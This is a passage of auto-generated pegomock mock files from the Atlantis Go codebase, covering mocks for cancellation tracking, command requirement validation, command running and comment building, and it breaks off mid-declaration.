(mock *MockCancellationTracker) Cancel(pull models.PullRequest) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCancellationTracker().") } _params := []pegomock.Param{pull} pegomock.GetGenericMockFrom(mock).Invoke("Cancel", _params, []reflect.Type{}) } func (mock *MockCancellationTracker) Clear(pull models.PullRequest) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCancellationTracker().") } _params := []pegomock.Param{pull} pegomock.GetGenericMockFrom(mock).Invoke("Clear", _params, []reflect.Type{}) } func (mock *MockCancellationTracker) IsCancelled(pull models.PullRequest) bool { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCancellationTracker().") } _params := []pegomock.Param{pull} _result := pegomock.GetGenericMockFrom(mock).Invoke("IsCancelled", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()}) var _ret0 bool if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(bool) } } return _ret0 } func (mock *MockCancellationTracker) VerifyWasCalledOnce() *VerifierMockCancellationTracker { return &VerifierMockCancellationTracker{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockCancellationTracker) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCancellationTracker { return &VerifierMockCancellationTracker{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockCancellationTracker) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCancellationTracker { return &VerifierMockCancellationTracker{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockCancellationTracker) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCancellationTracker { return &VerifierMockCancellationTracker{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockCancellationTracker struct { mock *MockCancellationTracker invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockCancellationTracker) Cancel(pull models.PullRequest) *MockCancellationTracker_Cancel_OngoingVerification { _params := []pegomock.Param{pull} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Cancel", _params, verifier.timeout) return &MockCancellationTracker_Cancel_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockCancellationTracker_Cancel_OngoingVerification struct { mock *MockCancellationTracker methodInvocations []pegomock.MethodInvocation } func (c *MockCancellationTracker_Cancel_OngoingVerification) GetCapturedArguments() models.PullRequest { pull := c.GetAllCapturedArguments() return pull[len(pull)-1] } func (c *MockCancellationTracker_Cancel_OngoingVerification) GetAllCapturedArguments() (_param0 []models.PullRequest) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(models.PullRequest) } } } return } func (verifier *VerifierMockCancellationTracker) Clear(pull models.PullRequest) *MockCancellationTracker_Clear_OngoingVerification { _params := []pegomock.Param{pull} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Clear", _params, verifier.timeout) return &MockCancellationTracker_Clear_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockCancellationTracker_Clear_OngoingVerification struct { mock *MockCancellationTracker methodInvocations []pegomock.MethodInvocation } func (c *MockCancellationTracker_Clear_OngoingVerification) GetCapturedArguments() models.PullRequest { pull := c.GetAllCapturedArguments() return pull[len(pull)-1] } func (c *MockCancellationTracker_Clear_OngoingVerification) GetAllCapturedArguments() (_param0 []models.PullRequest) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(models.PullRequest) } } } return } func (verifier *VerifierMockCancellationTracker) IsCancelled(pull models.PullRequest) *MockCancellationTracker_IsCancelled_OngoingVerification { _params := []pegomock.Param{pull} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "IsCancelled", _params, verifier.timeout) return &MockCancellationTracker_IsCancelled_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockCancellationTracker_IsCancelled_OngoingVerification struct { mock *MockCancellationTracker methodInvocations []pegomock.MethodInvocation } func (c *MockCancellationTracker_IsCancelled_OngoingVerification) GetCapturedArguments() models.PullRequest { pull := c.GetAllCapturedArguments() return pull[len(pull)-1] } func (c *MockCancellationTracker_IsCancelled_OngoingVerification) GetAllCapturedArguments() (_param0 []models.PullRequest) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(models.PullRequest) } } } return } ================================================ FILE: server/events/mocks/mock_command_requirement_handler.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: CommandRequirementHandler) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" command "github.com/runatlantis/atlantis/server/events/command" "reflect" "time" ) type MockCommandRequirementHandler struct { fail func(message string, callerSkip ...int) } func NewMockCommandRequirementHandler(options ...pegomock.Option) *MockCommandRequirementHandler { mock := &MockCommandRequirementHandler{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockCommandRequirementHandler) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockCommandRequirementHandler) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockCommandRequirementHandler) ValidateApplyProject(repoDir string, ctx command.ProjectContext) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCommandRequirementHandler().") } _params := []pegomock.Param{repoDir, ctx} _result := pegomock.GetGenericMockFrom(mock).Invoke("ValidateApplyProject", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockCommandRequirementHandler) ValidateImportProject(repoDir string, ctx command.ProjectContext) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCommandRequirementHandler().") } _params := []pegomock.Param{repoDir, ctx} _result := pegomock.GetGenericMockFrom(mock).Invoke("ValidateImportProject", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockCommandRequirementHandler) ValidatePlanProject(repoDir string, ctx command.ProjectContext) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCommandRequirementHandler().") } _params := []pegomock.Param{repoDir, ctx} _result := pegomock.GetGenericMockFrom(mock).Invoke("ValidatePlanProject", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockCommandRequirementHandler) ValidateProjectDependencies(ctx command.ProjectContext) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCommandRequirementHandler().") } _params := []pegomock.Param{ctx} _result := pegomock.GetGenericMockFrom(mock).Invoke("ValidateProjectDependencies", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockCommandRequirementHandler) VerifyWasCalledOnce() *VerifierMockCommandRequirementHandler { return &VerifierMockCommandRequirementHandler{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockCommandRequirementHandler) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCommandRequirementHandler { return &VerifierMockCommandRequirementHandler{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockCommandRequirementHandler) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCommandRequirementHandler { return &VerifierMockCommandRequirementHandler{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockCommandRequirementHandler) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCommandRequirementHandler { return &VerifierMockCommandRequirementHandler{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockCommandRequirementHandler struct { mock *MockCommandRequirementHandler invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockCommandRequirementHandler) ValidateApplyProject(repoDir string, ctx command.ProjectContext) *MockCommandRequirementHandler_ValidateApplyProject_OngoingVerification { _params := []pegomock.Param{repoDir, ctx} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ValidateApplyProject", _params, verifier.timeout) return &MockCommandRequirementHandler_ValidateApplyProject_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockCommandRequirementHandler_ValidateApplyProject_OngoingVerification struct { mock *MockCommandRequirementHandler methodInvocations []pegomock.MethodInvocation } func (c *MockCommandRequirementHandler_ValidateApplyProject_OngoingVerification) GetCapturedArguments() (string, command.ProjectContext) { repoDir, ctx := c.GetAllCapturedArguments() return repoDir[len(repoDir)-1], ctx[len(ctx)-1] } func (c *MockCommandRequirementHandler_ValidateApplyProject_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []command.ProjectContext) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } if len(_params) > 1 { _param1 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(command.ProjectContext) } } } return } func (verifier *VerifierMockCommandRequirementHandler) ValidateImportProject(repoDir string, ctx command.ProjectContext) *MockCommandRequirementHandler_ValidateImportProject_OngoingVerification { _params := []pegomock.Param{repoDir, ctx} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ValidateImportProject", _params, verifier.timeout) return &MockCommandRequirementHandler_ValidateImportProject_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockCommandRequirementHandler_ValidateImportProject_OngoingVerification struct { mock *MockCommandRequirementHandler methodInvocations []pegomock.MethodInvocation } func (c *MockCommandRequirementHandler_ValidateImportProject_OngoingVerification) GetCapturedArguments() (string, command.ProjectContext) { repoDir, ctx := c.GetAllCapturedArguments() return repoDir[len(repoDir)-1], ctx[len(ctx)-1] } func (c *MockCommandRequirementHandler_ValidateImportProject_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []command.ProjectContext) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } if len(_params) > 1 { _param1 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(command.ProjectContext) } } } return } func (verifier *VerifierMockCommandRequirementHandler) ValidatePlanProject(repoDir string, ctx command.ProjectContext) *MockCommandRequirementHandler_ValidatePlanProject_OngoingVerification { _params := []pegomock.Param{repoDir, ctx} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ValidatePlanProject", _params, verifier.timeout) return &MockCommandRequirementHandler_ValidatePlanProject_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockCommandRequirementHandler_ValidatePlanProject_OngoingVerification struct { mock *MockCommandRequirementHandler methodInvocations []pegomock.MethodInvocation } func (c *MockCommandRequirementHandler_ValidatePlanProject_OngoingVerification) GetCapturedArguments() (string, command.ProjectContext) { repoDir, ctx := c.GetAllCapturedArguments() return repoDir[len(repoDir)-1], ctx[len(ctx)-1] } func (c *MockCommandRequirementHandler_ValidatePlanProject_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []command.ProjectContext) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } if len(_params) > 1 { _param1 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(command.ProjectContext) } } } return } func (verifier *VerifierMockCommandRequirementHandler) ValidateProjectDependencies(ctx command.ProjectContext) *MockCommandRequirementHandler_ValidateProjectDependencies_OngoingVerification { _params := []pegomock.Param{ctx} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ValidateProjectDependencies", _params, verifier.timeout) return &MockCommandRequirementHandler_ValidateProjectDependencies_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockCommandRequirementHandler_ValidateProjectDependencies_OngoingVerification struct { mock *MockCommandRequirementHandler methodInvocations []pegomock.MethodInvocation } func (c *MockCommandRequirementHandler_ValidateProjectDependencies_OngoingVerification) GetCapturedArguments() command.ProjectContext { ctx := c.GetAllCapturedArguments() return ctx[len(ctx)-1] } func (c *MockCommandRequirementHandler_ValidateProjectDependencies_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(command.ProjectContext) } } } return } ================================================ FILE: server/events/mocks/mock_command_runner.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: CommandRunner) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" events "github.com/runatlantis/atlantis/server/events" models "github.com/runatlantis/atlantis/server/events/models" "reflect" "time" ) type MockCommandRunner struct { fail func(message string, callerSkip ...int) } func NewMockCommandRunner(options ...pegomock.Option) *MockCommandRunner { mock := &MockCommandRunner{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockCommandRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockCommandRunner) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockCommandRunner) RunAutoplanCommand(baseRepo models.Repo, headRepo models.Repo, pull models.PullRequest, user models.User) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCommandRunner().") } _params := []pegomock.Param{baseRepo, headRepo, pull, user} pegomock.GetGenericMockFrom(mock).Invoke("RunAutoplanCommand", _params, []reflect.Type{}) } func (mock *MockCommandRunner) RunCommentCommand(baseRepo models.Repo, maybeHeadRepo *models.Repo, maybePull *models.PullRequest, user models.User, pullNum int, cmd *events.CommentCommand) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCommandRunner().") } _params := []pegomock.Param{baseRepo, maybeHeadRepo, maybePull, user, pullNum, cmd} pegomock.GetGenericMockFrom(mock).Invoke("RunCommentCommand", _params, []reflect.Type{}) } func (mock *MockCommandRunner) VerifyWasCalledOnce() *VerifierMockCommandRunner { return &VerifierMockCommandRunner{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockCommandRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCommandRunner { return &VerifierMockCommandRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockCommandRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCommandRunner { return &VerifierMockCommandRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockCommandRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCommandRunner { return &VerifierMockCommandRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockCommandRunner struct { mock *MockCommandRunner invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockCommandRunner) RunAutoplanCommand(baseRepo models.Repo, headRepo models.Repo, pull models.PullRequest, user models.User) *MockCommandRunner_RunAutoplanCommand_OngoingVerification { _params := []pegomock.Param{baseRepo, headRepo, pull, user} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "RunAutoplanCommand", _params, verifier.timeout) return &MockCommandRunner_RunAutoplanCommand_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockCommandRunner_RunAutoplanCommand_OngoingVerification struct { mock *MockCommandRunner methodInvocations []pegomock.MethodInvocation } func (c *MockCommandRunner_RunAutoplanCommand_OngoingVerification) GetCapturedArguments() (models.Repo, models.Repo, models.PullRequest, models.User) { baseRepo, headRepo, pull, user := c.GetAllCapturedArguments() return baseRepo[len(baseRepo)-1], headRepo[len(headRepo)-1], pull[len(pull)-1], user[len(user)-1] } func (c *MockCommandRunner_RunAutoplanCommand_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []models.User) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(models.Repo) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } if len(_params) > 3 { _param3 = make([]models.User, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(models.User) } } } return } func (verifier *VerifierMockCommandRunner) RunCommentCommand(baseRepo models.Repo, maybeHeadRepo *models.Repo, maybePull *models.PullRequest, user models.User, pullNum int, cmd *events.CommentCommand) *MockCommandRunner_RunCommentCommand_OngoingVerification { _params := []pegomock.Param{baseRepo, maybeHeadRepo, maybePull, user, pullNum, cmd} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "RunCommentCommand", _params, verifier.timeout) return &MockCommandRunner_RunCommentCommand_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockCommandRunner_RunCommentCommand_OngoingVerification struct { mock *MockCommandRunner methodInvocations []pegomock.MethodInvocation } func (c *MockCommandRunner_RunCommentCommand_OngoingVerification) GetCapturedArguments() (models.Repo, *models.Repo, *models.PullRequest, models.User, int, *events.CommentCommand) { baseRepo, maybeHeadRepo, maybePull, user, pullNum, cmd := c.GetAllCapturedArguments() return baseRepo[len(baseRepo)-1], maybeHeadRepo[len(maybeHeadRepo)-1], maybePull[len(maybePull)-1], user[len(user)-1], pullNum[len(pullNum)-1], cmd[len(cmd)-1] } func (c *MockCommandRunner_RunCommentCommand_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []*models.Repo, _param2 []*models.PullRequest, _param3 []models.User, _param4 []int, _param5 []*events.CommentCommand) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(models.Repo) } } if len(_params) > 1 { _param1 = make([]*models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(*models.Repo) } } if len(_params) > 2 { _param2 = make([]*models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(*models.PullRequest) } } if len(_params) > 3 { _param3 = make([]models.User, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(models.User) } } if len(_params) > 4 { _param4 = make([]int, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(int) } } if len(_params) > 5 { _param5 = make([]*events.CommentCommand, len(c.methodInvocations)) for u, param := range _params[5] { _param5[u] = param.(*events.CommentCommand) } } } return } ================================================ FILE: server/events/mocks/mock_comment_building.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: CommentBuilder) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" "reflect" "time" ) type MockCommentBuilder struct { fail func(message string, callerSkip ...int) } func NewMockCommentBuilder(options ...pegomock.Option) *MockCommentBuilder { mock := &MockCommentBuilder{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockCommentBuilder) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockCommentBuilder) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockCommentBuilder) BuildApplyComment(repoRelDir string, workspace string, project string, autoMergeDisabled bool, autoMergeMethod string) string { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCommentBuilder().") } _params := []pegomock.Param{repoRelDir, workspace, project, autoMergeDisabled, autoMergeMethod} _result := pegomock.GetGenericMockFrom(mock).Invoke("BuildApplyComment", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem()}) var _ret0 string if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } } return _ret0 } func (mock *MockCommentBuilder) BuildApprovePoliciesComment(repoRelDir string, workspace string, project string) string { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCommentBuilder().") } _params := []pegomock.Param{repoRelDir, workspace, project} _result := pegomock.GetGenericMockFrom(mock).Invoke("BuildApprovePoliciesComment", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem()}) var _ret0 string if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } } return _ret0 } func (mock *MockCommentBuilder) BuildPlanComment(repoRelDir string, workspace string, project string, commentArgs []string) string { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCommentBuilder().") } _params := []pegomock.Param{repoRelDir, workspace, project, commentArgs} _result := pegomock.GetGenericMockFrom(mock).Invoke("BuildPlanComment", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem()}) var _ret0 string if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } } return _ret0 } func (mock *MockCommentBuilder) VerifyWasCalledOnce() *VerifierMockCommentBuilder { return &VerifierMockCommentBuilder{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockCommentBuilder) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCommentBuilder { return &VerifierMockCommentBuilder{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockCommentBuilder) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCommentBuilder { return &VerifierMockCommentBuilder{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockCommentBuilder) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCommentBuilder { return &VerifierMockCommentBuilder{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockCommentBuilder struct { mock *MockCommentBuilder invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockCommentBuilder) BuildApplyComment(repoRelDir string, workspace string, project string, autoMergeDisabled bool, autoMergeMethod string) *MockCommentBuilder_BuildApplyComment_OngoingVerification { _params := []pegomock.Param{repoRelDir, workspace, project, autoMergeDisabled, autoMergeMethod} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildApplyComment", _params, verifier.timeout) return &MockCommentBuilder_BuildApplyComment_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockCommentBuilder_BuildApplyComment_OngoingVerification struct { mock *MockCommentBuilder methodInvocations []pegomock.MethodInvocation } func (c *MockCommentBuilder_BuildApplyComment_OngoingVerification) GetCapturedArguments() (string, string, string, bool, string) { repoRelDir, workspace, project, autoMergeDisabled, autoMergeMethod := c.GetAllCapturedArguments() return repoRelDir[len(repoRelDir)-1], workspace[len(workspace)-1], project[len(project)-1], autoMergeDisabled[len(autoMergeDisabled)-1], autoMergeMethod[len(autoMergeMethod)-1] } func (c *MockCommentBuilder_BuildApplyComment_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []string, _param2 []string, _param3 []bool, _param4 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } if len(_params) > 2 { _param2 = make([]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(string) } } if len(_params) > 3 { _param3 = make([]bool, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(bool) } } if len(_params) > 4 { _param4 = make([]string, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(string) } } } return } func (verifier *VerifierMockCommentBuilder) BuildApprovePoliciesComment(repoRelDir string, workspace string, project string) *MockCommentBuilder_BuildApprovePoliciesComment_OngoingVerification { _params := []pegomock.Param{repoRelDir, workspace, project} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildApprovePoliciesComment", _params, verifier.timeout) return &MockCommentBuilder_BuildApprovePoliciesComment_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockCommentBuilder_BuildApprovePoliciesComment_OngoingVerification struct { mock *MockCommentBuilder methodInvocations []pegomock.MethodInvocation } func (c *MockCommentBuilder_BuildApprovePoliciesComment_OngoingVerification) GetCapturedArguments() (string, string, string) { repoRelDir, workspace, project := c.GetAllCapturedArguments() return repoRelDir[len(repoRelDir)-1], workspace[len(workspace)-1], project[len(project)-1] } func (c *MockCommentBuilder_BuildApprovePoliciesComment_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []string, _param2 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } if len(_params) > 2 { _param2 = make([]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(string) } } } return } func (verifier *VerifierMockCommentBuilder) BuildPlanComment(repoRelDir string, workspace string, project string, commentArgs []string) *MockCommentBuilder_BuildPlanComment_OngoingVerification { _params := []pegomock.Param{repoRelDir, workspace, project, commentArgs} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildPlanComment", _params, verifier.timeout) return &MockCommentBuilder_BuildPlanComment_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockCommentBuilder_BuildPlanComment_OngoingVerification struct { mock *MockCommentBuilder methodInvocations []pegomock.MethodInvocation } func (c *MockCommentBuilder_BuildPlanComment_OngoingVerification) GetCapturedArguments() (string, string, string, []string) { repoRelDir, workspace, project, commentArgs := c.GetAllCapturedArguments() return repoRelDir[len(repoRelDir)-1], workspace[len(workspace)-1], project[len(project)-1], commentArgs[len(commentArgs)-1] } func (c *MockCommentBuilder_BuildPlanComment_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []string, _param2 []string, _param3 [][]string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } if len(_params) > 2 { _param2 = make([]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(string) } } if len(_params) > 3 { _param3 = make([][]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.([]string) } } } return } ================================================ FILE: server/events/mocks/mock_comment_parsing.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: CommentParsing) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" events "github.com/runatlantis/atlantis/server/events" models "github.com/runatlantis/atlantis/server/events/models" "reflect" "time" ) type MockCommentParsing struct { fail func(message string, callerSkip 